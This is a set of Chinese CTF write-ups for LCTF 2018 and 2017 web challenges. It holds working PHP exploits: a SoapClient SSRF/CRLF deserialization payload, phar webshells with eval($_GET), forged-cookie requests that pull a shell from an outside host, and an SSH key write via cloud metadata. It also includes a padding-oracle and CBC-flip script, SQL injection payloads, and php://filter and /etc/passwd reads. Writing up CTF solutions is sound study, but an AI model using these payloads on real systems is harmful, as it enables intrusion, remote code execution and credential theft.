LCTF wp
2018LCTF bestphp’s revenge 思路:session反序列化->soap类(ssrf+crlf)->call_user_func激活soap类
index.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file(__FILE__ ); $b = 'implode' ; call_user_func($_GET[f],$_POST); session_start(); if (isset ($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array (reset($_SESSION),'welcome_to_the_lctf2018' ); call_user_func($b,$a); ?>
flag.php
1 2 3 4 5 6 7 session_start(); echo 'only localhost can get flag!' ;$flag = 'LCTF{*************************}' ; if ($_SERVER["REMOTE_ADDR" ]==="127.0.0.1" ){ $_SESSION['flag' ] = $flag; } only localhost can get flag!
访问flag.php
会把flag写入session中,但是需要从本地访问,也就是需要触发ssrf,而且需要带着自己的sessionid,才能写到自己的session中
可以利用php的原生类soap进行反序列化触发ssrf,同时触发crlf修改cookie来设置sessionid
PHP session 反序列化漏洞 PHP中的Session的实现是没有的问题,但如果在PHP在反序列化存储的$_SESSION数据时使用的引擎 和序列化使用的引擎 不一样,会导致数据无法正确的反序列化
简单来说就是存session用了php_serialize
引擎,存的session就是a:1:{s:4:"name";s:24:"|<serialize data>}
而读取session时用了默认的php引擎,以|
为分割,读取为
1 2 3 4 5 6 7 8 9 10 11 12 13 array (1 ) { ["a:1:{s:4:" name";s:145:" "]=> object(SoapClient)#2 (4) { [" uri"]=> string(3) " 123 " [" location"]=> string(25) " http: ["_user_agent" ]=> string(3 ) "abc" ["_soap_version" ]=> int(1 ) } }
于是触发了反序列化
利用session_start()的参数修改反序列化引擎,将序列化数据注入到sessionfile中
1 2 3 http://127.0.0.1/soap.php?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%22abc%0D%0ACookie%3A+PHPSESSID%3D8nsujaq7o5tl0btee8urnlsrb4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D serialize_handler=php_serialize
生成反序列化数据:
1 2 3 4 5 6 7 <?php $target = "http://127.0.0.1/flag.php" ; $attack = new SoapClient(null ,array ('location' => $target, 'user_agent' => "abc\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n" , 'uri' => "123" )); $payload = urlencode(serialize($attack)); echo $payload;
利用第二个call_user_func激活soap类 $_SESSION
里的数据是soap对象,再经过reset()
弹出这个对象成为了$a[0]
,可以通过变量覆盖$b
为call_user_func
,调用$a
中的这个对象,从而触发soap的网络请求
1 2 3 http://127.0.0.1/soap.php?f=extract b=call_user_func
soap请求发出后,构造soap序列化的可控phpsessid相应的session里被加入了flag
带着这个phpsessid请求index.php,中间有一行代码var_dump($_SESSION);从而拿到flag
https://xz.aliyun.com/t/3336
https://blog.spoock.com/2016/10/16/php-serialize-problem/
T4lk 1s ch34p,sh0w m3 the sh31l 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 <?php $SECRET = `../read_secret`; $SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR" ]); $FILEBOX = "../file/" . md5("K0rz3n" . $_SERVER["REMOTE_ADDR" ]); @mkdir($SANDBOX); @mkdir($FILEBOX); if (!isset ($_COOKIE["session-data" ])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("md5" , $data, $SECRET); setcookie("session-data" , sprintf("%s-----%s" , $data, $hmac)); } class User { public $avatar; function __construct ($path) { $this ->avatar = $path; } } class K0rz3n_secret_flag { protected $file_path; function __destruct () { if (preg_match('/(log|etc|session|proc|read_secret|history|class)/i' , $this ->file_path)){ die ("Sorry Sorry Sorry" ); } include_once ($this ->file_path); } } function check_session () { global $SECRET; $data = $_COOKIE["session-data" ]; list ($data, $hmac) = explode("-----" , $data, 2 ); if (!isset ($data, $hmac) || !is_string($data) || !is_string($hmac)){ die ("Bye" ); } if ( !hash_equals(hash_hmac("md5" , $data, $SECRET), $hmac) ){ die ("Bye Bye" ); } $data = unserialize($data); if ( !isset ($data->avatar) ){ die ("Bye Bye Bye" ); } return $data->avatar; } function upload ($path) { if (isset ($_GET['url' ])){ if (preg_match('/^(http|https).*/i' , $_GET['url' ])){ $data = file_get_contents($_GET["url" ] . "/avatar.gif" ); if (substr($data, 0 , 6 ) !== "GIF89a" ){ die ("Fuck off" ); } file_put_contents($path . "/avatar.gif" , $data); die ("Upload OK" ); }else { die ("Hacker" ); } }else { die ("Miss the URL~~" ); } } function show ($path) { if ( !is_dir($path) || !file_exists($path . "/avatar.gif" )) { $path = "/var/www" ; } header("Content-Type: image/gif" ); die (file_get_contents($path . "/avatar.gif" )); } function check ($path) { if (isset ($_GET['c' ])){ if (preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i' ,$_GET['c' ])){ die ("Hacker Hacker Hacker" ); }else { $file_path = $_GET['c' ]; list ($width, $height, $type) = @getimagesize($file_path); die ("Width is :" . $width." px<br>" . "Height is :" . $height." px<br>" ); } }else { list ($width, $height, $type) = @getimagesize($path."/avatar.gif" ); die ("Width is :" . $width." px<br>" . "Height is :" . $height." px<br>" ); } } function move ($source_path,$dest_name) { global $FILEBOX; $dest_path = $FILEBOX . "/" . $dest_name; if (preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i' ,$source_path)){ die ("Hacker Hacker Hacker" ); }else { if (copy($source_path,$dest_path)){ die ("Successful copy" ); }else { die ("Copy failed" ); } } } $mode = $_GET["m" ]; if ($mode == "upload" ){ upload(check_session()); } else if ($mode == "show" ){ show(check_session()); } else if ($mode == "check" ){ check(check_session()); } else if ($mode == "move" ){ move($_GET['source' ],$_GET['dest' ]); } else { highlight_file(__FILE__ ); } include ("./comments.html" );
phar反序列化 phar文件会以序列化的形式存储用户自定义的meta-data,在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作
这里触发反序列化是用到了getimagesize($file_path)这个函数
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件
compress.zlib://phar//./
来绕过^phar
的正则检测
直接在文件头处写一句话getshell
1 2 3 4 5 6 7 8 9 10 <?php class K0rz3n_secret_flag { protected $file_path = '/var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif' ; } $a = new K0rz3n_secret_flag(); $phar = new Phar('test.phar' ); $phar->startBuffering(); $phar->setStub('GIF89a<?php echo 1;eval($_GET["a"]);?' .'><?php __HALT_COMPILER(); ?' .'>' ); $phar->setMetadata($a); $phar->stopBuffering();
upload上传然后check触发phar反序列化
先上传要被include的webshell为avatar.gif,再上传phar文件包含这个webshell(K0rz3n_secret_flag
类中的include_once
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class K0rz3n_secret_flag { protected $file_path='/var/www/data/67bf5ff3cfa1cdd00f700328698c2adb/avatar.gif' ; function __destruct () { if (preg_match('/(log|etc|session|proc|read_secret|history|class)/i' , $this ->file_path)){ die ("Sorry Sorry Sorry" ); } include_once ($this ->file_path); } } $a= new K0rz3n_secret_flag; $p = new Phar('./1.phar' , 0 ); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>' ); $p->setMetadata($a); $p->addFromString('1.txt' ,'text' ); $p->stopBuffering(); rename('./1.phar' , 'avatar.gif' );
sh0w m3 the sh31l 4ga1n 比起第一道题的正则多了一个data,所以phar://就不能读取data目录下的内容了
生成SECRET的语句
1 $SECRET=`../read_secret`;
并不是可执行程序或bash文件,只是一堆字符串,那么这个东西返回的永远是null即$SECRET==NULL
于是在check_session
中$data可控并且能满足hmac的验证,所以修改session-data
的值能修改upload文件的路径
生成session-data
:
1 2 3 4 5 6 7 8 9 10 class User { public $avatar; function __construct($path) { $this->avatar = $path; } } $data = serialize(new User("../file/48915dedf3ce9ddc70aeefe2a42006a4")); $hmac = hash_hmac("md5", $data, NULL); print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));
修改session-data
后,有多种方法getshell:
1. 直接利用反序列化 在check_session()
中有$data = unserialize($data);
直接利用反序列化
传shell
1 2 3 4 5 6 7 8 9 10 11 GET /LCTF.php?m=upload&url=http://test.tan90.me HTTP/1.1 Host: 212.64.74.153 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Cookie: session-data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%22%3B%7D-----01d76466746e56bfe3e9558529df2709 Connection: close
执行命令
1 2 3 4 5 6 7 8 9 10 11 GET /LCTF.php?m=upload&url=http://test.tan90.me&cmd=ls%20-al%20/tmp HTTP/1.1 Host: 212.64.74.153 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Cookie: session-data=O%3A18%3A%22K0rz3n_secret_flag%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00file_path%22%3Bs%3A57%3A%22%2Fvar%2Fwww%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%2Favatar.gif%22%3B%7D-----7b954f00dc02cd915b1c3d4872112634 Connection: close
2. 和上题一样,phar反序列化 3. tmpfile getshell http://212.64.74.153/LCTF.php?m=check&c=compress.zlib://php://filter/string.strip_tags/resource=/etc/passwd
解法:https://www.jianshu.com/p/dfd049924258
预期解: http://www.k0rz3n.com/2018/11/19/LCTF%202018%20T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90/
Travel 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from flask import request, render_templatefrom config import create_appimport osimport urllibimport requestsimport uuidapp = create_app() @app.route('/upload/<filename>', methods = ['PUT']) # 幂等的请求,会产生覆盖 def upload_file (filename) : name = request.cookies.get('name' ) pwd = request.cookies.get('pwd' ) if name != 'lctf' or pwd != str(uuid.getnode()): return "0" filename = urllib.unquote(filename) with open(os.path.join(app.config['UPLOAD_FOLDER' ], filename), 'w' ) as f: f.write(request.get_data(as_text = True )) return "1" return "0" @app.route('/', methods = ['GET']) def index () : url = request.args.get('url' , '' ) if url == '' : return render_template('index.html' ) if "http" != url[: 4 ]: return "hacker" try : response = requests.get(url, timeout = 10 ) response.encoding = 'utf-8' return response.text except : return "Something Error" @app.route('/source', methods = ['GET']) def get_source () : return open(__file__).read() if __name__ == '__main__' : app.run()
pwd就是网卡的mac地址,获得这个值就能进行任意文件写入,写入ssh key就能ssh登陆拿到shell
查题目的ip发现是腾讯云的服务器,有一个metadata的API,
腾讯云文档 https://cloud.tencent.com/document/product/213/4934
根据文档里的方法,获得mac地址
http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs
52:54:00:48:c8:73(hex)->90520735500403(int)
nginx禁用了PUT方法,用X-HTTP-Method-Override:PUT
绕过
然后向/home/lctf/.ssh/authorized_keys
写入自己的公钥,登陆
年久失修的系统 先用select通过id选出该用户检测是否为当前session中的用户,再用update通过id更新用户信息。
payload:?userid=myid-(myid-adminid)*@a:=@a is not null
原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mysql> select @a:=@a is not null; +--------------------+ | @a:=@a is not null | +--------------------+ | 0 | +--------------------+ 1 row in set (0.00 sec) mysql> select @a:=@a is not null; +--------------------+ | @a:=@a is not null | +--------------------+ | 1 | +--------------------+ 1 row in set (0.00 sec)
2017LCTF Simple blog login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php error_reporting(0 ); session_start(); define("METHOD" , "aes-128-cbc" ); include ('config.php' );function show_page () { echo '<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Login Form</title> <link rel="stylesheet" type="text/css" href="css/login.css" /> </head> <body> <div class="login"> <h1>后台登录</h1> <form method="post"> <input type="text" name="username" placeholder="Username" required="required" /> <input type="password" name="password" placeholder="Password" required="required" /> <button type="submit" class="btn btn-primary btn-block btn-large">Login</button> </form> </div> </body> </html> ' ;} function get_random_token () { $random_token = '' ; $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890" ; for ($i = 0 ; $i < 16 ; $i++){ $random_token .= substr($str, rand(1 , 61 ), 1 ); } return $random_token; } function get_identity () { global $id; $token = get_random_token(); $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token); $_SESSION['id' ] = base64_encode($c); setcookie("token" , base64_encode($token)); if ($id === 'admin' ){ $_SESSION['isadmin' ] = 1 ; }else { $_SESSION['isadmin' ] = 0 ; } } function test_identity () { if (isset ($_SESSION['id' ])) { $c = base64_decode($_SESSION['id' ]); $token = base64_decode($_COOKIE["token" ]); if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){ if ($u === 'admin' ) { $_SESSION['isadmin' ] = 1 ; return 1 ; } }else { die ("Error!" ); } } return 0 ; } if (isset ($_POST['username' ])&&isset ($_POST['password' ])){ $username = mysql_real_escape_string($_POST['username' ]); $password = $_POST['password' ]; $result = mysql_query("select password from users where username='" . $username . "'" , $con); $row = mysql_fetch_array($result); if ($row['password' ] === md5($password)){ get_identity(); header('location: ./admin.php' ); }else { die ('Login failed.' ); } }else { if (test_identity()){ header('location: ./admin.php' ); }else { show_page(); } } ?>
admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php error_reporting(0 ); session_start(); include ('config.php' );if (!$_SESSION['isadmin' ]){ die ('You are not admin' ); } if (isset ($_GET['id' ])){ $id = mysql_real_escape_string($_GET['id' ]); if (isset ($_GET['title' ])){ $title = mysql_real_escape_string($_GET['title' ]); $title = sprintf("AND title='%s'" , $title); }else { $title = '' ; } $sql = sprintf("SELECT * FROM article WHERE id='%s' $title" , $id); $result = mysql_query($sql,$con); $row = mysql_fetch_array($result); if (isset ($row['title' ])&&isset ($row['content' ])){ echo "<h1>" .$row['title' ]."</h1><br>" .$row['content' ]; die (); }else { die ("This article does not exist." ); } } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>adminpage</title> <link href="css/bootstrap.min.css" rel="stylesheet" > <script src="js/jquery.min.js" ></script> <script src="js/bootstrap.min.js" ></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="navbar-header"> <a class="navbar-brand" href="#">后台</a> </div> <div> <ul class="nav navbar-nav"> <li class="active"><a href="#">编辑文章</a></li> <li><a href="#" >设置</a></li> </ul> </div></nav> <div class="panel panel-success"> <div class="panel-heading"> <h1 class="panel-title">文章列表</h1> </div> <div class="panel-body"> <li><a href='?id=1' >Welcome to myblog</a><br></li> <li><a href='?id=2' >Hello,world!</a><br></li> <li><a href='?id=3' >This is admin page</a><br></li> </div> </div> </body> </html>
CBC翻转字节攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import requestsimport base64url='http://111.231.111.54/login.php' N=16 def inject_token (token) : header={"Cookie" :"PHPSESSID=" +phpsession+";token=" +token} result=requests.post(url,headers=header) return result def xor (a, b) : return "" .join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))]) def pad (string,N) : l=len(string) if l!=N: return string+chr(N-l)*(N-l) def padding_oracle (N) : get="" for i in xrange(1 ,N+1 ): for j in xrange(0 ,256 ): padding=xor(get,chr(i)*(i-1 )) c=chr(0 )*(16 -i)+chr(j)+padding result=inject_token(base64.b64encode(c)) if "Error!" not in result.content: get=chr(j^i)+get break return get def login (url) : payload = { "username" :"admin" , "password" :"admin" } coo1 = { "PHPSESSID" :"j297k7o6d8stcbvi2c23naj5j6" } r = requests.post(url,cookies=coo1,data=payload,allow_redirects=False ) token = r.headers['Set-Cookie' ].replace("%3D" ,'=' ).replace("%2F" ,'/' ).replace("%2B" ,'+' ).decode('base64' ) session = "j297k7o6d8stcbvi2c23naj5j6" return session, token while 1 : phpsession,token = login(url) middle1=padding_oracle(N) print middle1 print "\n" if (len(middle1)+1 ==16 ): for i in xrange(0 ,256 ): middle=chr(i)+middle1 print "token:" +token print "middle:" +middle plaintext=xor(middle,token); print "plaintext:" +plaintext des=pad('admin' ,N) tmp="" print des.encode("base64" ) for i in xrange(16 ): tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i])) print tmp.encode('base64' ) result=inject_token(base64.b64encode(tmp)) if "Login Form" not in result.content and "Error" not in result.content: print result.content print "success" exit()
格式化字符串sql注入 sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
这里的$title = sprintf("AND title='%s'", $title);
其中$title
和$id
都经过mysql_real_escape_string
处理,会使'
前加斜杠变为\'
如果传入title
为aaa%'or 1=1 #
则变为AND title='aaa%\'or 1=1 #'
,%\
会被认为是个格式化字符串,则单引号会逃逸出来
但传入%'
的话会使sprintf语句中有两个格式化字符串,但只有一个参数,会报错
PHP的sprintf中,有%1$\
这样的语法,百分号%
后面的数表示使用第几个参数,$后面的表示类型,常见的类型比如s表示字符串等等。比如 %1$s
,表示使用第一个参数,类型为字符串(%s
)
title传入flag%1$' or 1=1#
,变为AND title='flag%1$\' or 1=1#'
,$\
变成类型%\
,这个不存在的类型会直接跳过不处理,吸收了\
使单引号逃逸
payload
1 ?id=1&title=%1$' union select 1,(select f14g from web1.key limit 0,1),3%23
萌萌哒报名系统 提示是IDE开发的系统,发现.idea/workspace.xml
,打开后发现发现源码包xdcms2333.zip
regisrer.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php include ('config.php' ); try { $pdo = new PDO('mysql:host=localhost;dbname=xdcms' , $user, $pass); }catch (Exception $e){ die ('mysql connected error' ); } $admin = "xdsec" ."###" .str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag' ); $username = (isset ($_POST['username' ]) === true && $_POST['username' ] !== '' ) ? (string)$_POST['username' ] : die ('Missing username' ); $password = (isset ($_POST['password' ]) === true && $_POST['password' ] !== '' ) ? (string)$_POST['password' ] : die ('Missing password' ); $code = (isset ($_POST['code' ]) === true ) ? (string)$_POST['code' ] : '' ; if (strlen($username) > 16 || strlen($username) > 16 ) { die ('Invalid input' ); } $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username' ); $sth->execute([':username' => $username]); if ($sth->fetch() !== false ) { die ('username has been registered' ); } $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)' ); $sth->execute([':username' => $username, ':password' => $password]); preg_match('/^(xdsec)((?:###|\w)+)$/i' , $code, $matches); if (count($matches) === 3 && $admin === $matches[0 ]) { $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)' ); $sth->execute([':username' => $username, ':identity' => $matches[1 ]]); } else { $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")' ); $sth->execute([':username' => $username]); } echo '<script>alert("register success");location.href="./index.html"</script>' ;
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php session_start(); include ('config.php' ); try { $pdo = new PDO('mysql:host=localhost;dbname=xdcms' , $user, $pass); }catch (Exception $e){ die ('mysql connected error' ); } $username = (isset ($_POST['username' ]) === true && $_POST['username' ] !== '' ) ? (string)$_POST['username' ] : die ('Missing username' ); $password = (isset ($_POST['password' ]) === true && $_POST['password' ] !== '' ) ? (string)$_POST['password' ] : die ('Missing password' ); if (strlen($username) > 32 || strlen($password) > 32 ) { die ('Invalid input' ); } $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username' ); $sth->execute([':username' => $username]); if ($sth->fetch()[0 ] !== $password) { die ('wrong password' ); } $_SESSION['username' ] = $username; unset ($_SESSION['is_logined' ]); unset ($_SESSION['is_guest' ]); header("Location: member.php" ); ?>
member.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(0 ); session_start(); include ('config.php' ); if (isset ($_SESSION['username' ]) === false ) { die ('please login first' ); } try { $pdo = new PDO('mysql:host=localhost;dbname=xdcms' , $user, $pass); }catch (Exception $e){ die ('mysql connected error' ); } $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username' ); $sth->execute([':username' => $_SESSION['username' ]]); if ($sth->fetch()[0 ] === 'GUEST' ) { $_SESSION['is_guest' ] = true ; } $_SESSION['is_logined' ] = true ; if (isset ($_SESSION['is_logined' ]) === false || isset ($_SESSION['is_guest' ]) === true ) { }else { if (isset ($_GET['file' ])===false ) echo "None" ; elseif (is_file($_GET['file' ])) echo "you cannot give me a file" ; else readfile($_GET['file' ]); } ?>
构造
1 2 3 username=hello password=hello code="xdsec"+5000*"###A"
传入code
为超长的字符串,并且符合preg_match
匹配的模式。则执行preg_match
时会超时使php脚本停止
1 2 3 4 5 6 7 8 9 10 11 $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)'); $sth->execute([':username' => $username, ':password' => $password]); preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches); if (count($matches) === 3 && $admin === $matches[0]) { $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)'); $sth->execute([':username' => $username, ':identity' => $matches[1]]); } else { $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")'); $sth->execute([':username' => $username]); }
在代码中,先插入了users
表,然后执行preg_match
,然后插入的identity
表。插入users
表的sql语句在preg_match
之前已经执行了,所以脚本超时停止也已经执行了之前的sql语句
这样字符串guest
没有被插入成功,在member.php
中
1 2 3 if ($sth->fetch()[0] === 'GUEST') { $_SESSION['is_guest'] = true; }
会被跳过,然后进入
1 2 3 4 5 6 if(isset($_GET['file'])===false) echo "None"; elseif(is_file($_GET['file'])) echo "you cannot give me a file"; else readfile($_GET['file']);
is_file()判断是否是文件,如果是一个文件就不让读取,不过readfile()
函数支持php伪协议,所以可以用php伪协议绕过
1 ?file=php://filter/read=convert.base64-encode/resource=config.php
他们有什么秘密呢 查看源代码后,有提示:<!-- Tip:将表的某一个字段名,和表中某一个表值进行字符串连接,就可以得到下一个入口喽~ -->
经过测试,过滤了information等关键字。而union,select等则没有过滤
报错注入获取表名 Mysql中有Polygon()
函数,如果传入的值是存在的字段的话,就会爆出已知库、表、列
在这个题目中,Polygon()
函数同样也被过滤了,但还有其他同样作用的函数
1 2 3 4 5 linestring() multiPolygon() multilinestring() GeometryCollection() MultiPoint()
这里利用linestring()
函数
1 2 3 http://182.254.246.93/entrance.php POST: pro_id=1 and linestring(pro_id)
得到数据库名:youcanneverfindme17
,表名:product_2017ctf
,字段名:pro_id
获取字段名 1 2 3 4 5 6 7 8 mysql> select * from (select * from users as a join users) as b; ERROR 1060 (42S21): Duplicate column name 'id' 利用using爆其他字段 mysql> select * from (select * from users as a join users as b using (id)) as c; ERROR 1060 (42S21): Duplicate column name 'username' mysql> select * from (select * from users as a join users as b using (id,username)) as c; ERROR 1060 (42S21): Duplicate column name 'password'
在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候查询到重复字段,就成功报错
第一步:
1 2 POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id)) as c); Duplicate column name 'pro_name'
第二步:
1 2 POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name)) as c); Duplicate column name 'owner'
第三步:
1 2 POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner)) as c); Duplicate column name 'd067a0fa9dc61a6e'
得到列名pro_id
,pro_name
,owner
,d067a0fa9dc61a6e
查询数据 直接查询发现d067a0fa9dc61a6e
被ban掉了,利用union搭配别名子查询,在不知道字段名的时候进行注入
1 2 3 POST:pro_id=-2513 UNION ALL SELECT NULL,CONCAT((select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf)e limit 1 offset 3 )),NULL,NULL-- product name:7195ca99696b5a896.php
根据提示得到d067a0fa9dc61a6e7195ca99696b5a896.php
执行命令 看到是一个文件上传的页面,但只能上传7字节的内容
上传一个php,名为z.php
,内容为<?=`*`;
,其中<?=
表示<? php echo
,而php能执行反引号中的命令,*
是shell中的通配符,会将符合模式的文件列出来,也就是当前目录下全部文件
然后上传一个名为bash
的文件,再传一个名字的字母序在bash
后的文件(bash2
或者c
),内容为要执行的命令(ls /
,cat /flag
)
然后访问z.php
,相当于执行bash bash2
参考: